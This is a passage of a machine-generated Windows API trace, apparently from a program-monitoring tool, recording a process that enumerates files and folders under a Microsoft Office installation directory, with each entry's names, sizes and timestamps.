ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 0 [0286.165] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.165] GetProcessHeap () returned 0xaf0000 [0286.165] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.165] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28458, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26a7ef01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26a7ef01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0286.165] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26a58c7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26a58c7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26a7ef01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x102e, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="HeartbeatConfig.xml", cAlternateFileName="HEARTB~1.XML")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf89c6ded, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf89c6ded, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26b1789b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b1840, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7a2268a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc45f6d6d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc45f6d6d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc464322e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12cf660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6246d3c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6246d3c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc6293202, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4964386, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4db6809, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5a882aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO40UIRES.DLL", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0286.166] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc46dbbd8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc46dbbd8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4a6f4d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso40UIwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc46dbbd8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6a9f155, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5b20c22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x921260, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO99LRES.DLL", cAlternateFileName="MSO99L~1.DLL")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc48f1c7a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6a78ef3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5bb95a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7c3e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Mso99Lwin32client.dll", cAlternateFileName="MSO99L~2.DLL")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc56f3b6f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc56f3b6f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd945950a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f280, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOIDCLIL.DLL", cAlternateFileName="MSOIDC~1.DLL")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5719cee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5719cee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd945950a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc88e8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOIDRES.DLL", cAlternateFileName="")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x85e80ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x85e80ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85e80ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf8c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOPRIV.DLL", cAlternateFileName="")) returned 1 [0286.167] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc493e147, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6bf66e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a5d714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e3ee60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf191f881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf191f881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf191f881, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x151478, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d458, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSQM.EXE", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd360620a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd360620a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36eafd9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0efd867, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26b89f63, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36648, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0286.168] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4c8553f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4c8553f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a1125f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16e860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa06b8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e572fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e572fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26b89f63, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43250ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43250ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43250ed, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bb01a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bbb, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ab054a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ab054a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0286.169] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef915def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef915def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0286.169] GetProcessHeap () returned 0xaf0000 [0286.169] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef915def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef915def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.170] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef915def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef915def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.170] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0286.170] GetProcessHeap () returned 0xaf0000 [0286.170] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0286.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef915def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef915def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8f6526, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8f6526, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0286.171] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0286.172] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 0 [0286.172] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.172] GetProcessHeap () returned 0xaf0000 [0286.172] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0286.172] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, 